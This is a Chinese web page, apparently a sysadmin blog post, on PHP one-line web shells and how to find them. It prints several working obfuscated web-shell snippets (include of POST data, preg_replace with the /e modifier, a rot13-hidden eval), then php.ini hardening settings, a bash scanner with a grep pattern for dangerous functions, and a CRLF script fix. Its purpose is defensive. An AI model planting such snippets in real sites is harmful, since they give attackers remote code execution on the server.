- 2013-12-10雷军微博披露小米“魔方”项目
 - 2013-12-1012306购票首度接入支付宝 支付时间可以快至5秒
 - 2013-12-10中国移动官网显示周四接受iPhone 5s预订
 - 2013-12-0912306 App研发故事:变成开放系统 社会人员助力
 - 2013-10-15天猫“双十一”今年打通线上线下:实体店参与。
 - 2013-10-15根据专利显示iPhone将有防摔功能。
 - 2013-10-12百度或可全面收购人人网,传闻四起!
 - 2013-10-07生物密码时代何时到来?尚存隐私泄露隐忧
 - 2013-09-29国务院近日印发了上海自由贸易试验区总体方案,自贸区...
 - 2013-09-29移动医疗大潮袭来,看着是肉 咬下去是骨头。
 
PHP一句话木马及查杀
1.接收外部变量
常见如:$_GET,$_POST
更加隐蔽的$_FILES,$_REQUEST…
2.执行函数
获取数据后还需执行它
常见如:eval,assert,preg_replace
隐藏变种:
	
include($_POST['a']);
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
@preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
 使用urldecode,gzinflate,base64_decode等加密函数 3.写入文件
获取更多的权限
如:copy,file_get_contents,exec
一般的建议是打开safe_mode 或使用disable_functions 等来提升安全性;
可能有些程序无法正常运行,基本的安全设置
php.ini中
	
	
expose_php = OFF register_globals = Off display_errors = Off cgi.fix_pathinfo=0 magic_quotes_gpc = On allow_url_fopen = Off allow_url_include = Off 配置open_basedir查找木马脚本
查找隐藏特征码及入口可以找出大部分的木马.
	
	
#!/bin/bash
 
findpath=./
logfile=findtrojan.log
 
echo -e $(date +%Y-%m-%d_%H:%M:%S)" start\r" >>$logfile
echo -e '============changetime list==========\r\n' >> ${logfile}
find ${findpath} -name "*.php" -ctime -3 -type f -exec ls -l {} \; >> ${logfile}
 
echo -e '============nouser file list==========\r\n' >> ${logfile}
find  ${findpath} -nouser -nogroup -type f -exec ls -l {} \; >> ${logfile}
 
echo -e '============php one word trojan ==========\r\n' >> ${logfile}
find ${findpath} -name "*.php" -exec egrep -I -i -C1 -H  'exec\(|eval\(|assert\(|system\(|passthru\(|shell_exec\(|escapeshellcmd\(|pcntl_exec\(|gzuncompress\(|gzinflate\(|unserialize\(|base64_decode\(|file_get_contents\(|urldecode\(|str_rot13\(|\$_GET|\$_POST|\$_REQUEST|\$_FILES|\$GLOBALS' {} \; >> ${logfile}
#使用使用-l 代替-C1 -H 可以只打印文件名
echo -e $(date +%Y-%m-%d_%H:%M:%S)" end\r" >>$logfile
 
more $logfile
 /bin/bash^M: bad interpreter: 没有那个文件或目录 
	运行脚本时出现了这样一个错误,打开之后并没有找到所谓的^M,查了之后才知道原来是文件格式的问题,也就是linux和windows之间的不完全兼容。。。
 具体细节不管,如果验证:
 vim test.sh
 :set ff?
 如果出现fileforma=dos那么就基本可以确定是这个问题了。
 :set fileformat=unix
 :wq
 OK了。。。。。。。 
	/bin/bash^M: bad interpreter: 没有那个文件或目录
 错误分析:
 因为操作系统是windows,我在windows下编辑的脚本,所以有可能有不可见字符。
 脚本文件是DOS格式的, 即每一行的行尾以 来标识, 其ASCII码分别是0x0D, 0x0A.
 可以有很多种办法看这个文件是DOS格式的还是UNIX格式的, 还是MAC格式的
 解决方法:
 vim filename
 然后用命令
 :set ff? #可以看到dos或unix的字样. 如果的确是dos格式的。
 然后用
 :set ff=unix #把它强制为unix格式的, 然后存盘退出。
 再次运行脚本。 
	
注:本站部分信息可能源于互联网分享,如有侵权,请告知,我们将及时删除!
- 用户评论
 - 相关文章
 
- 
								最新评论
 
- 
							1 
bash_profile和.bashr...
详细介绍bash_profile和.bashrc之间的区别。... - 
							2 
awstats的安装简易指南...
介绍awstats的安装使用,使其能快速部署。 - 
							3 
分布式监控系统gangli...
详细介绍ganglia配置过程 - 
							4 
使用IIS+Resin来配置J...
本文介绍使用IIS+Resin来配置JSP的运行环境... - 
							5 
MYSQL的主要参数设置(...
MYSQL的主要参数设置(优化) - 
							6 
Linux服务器安全小技巧...
Linux 服务器安全小技巧 









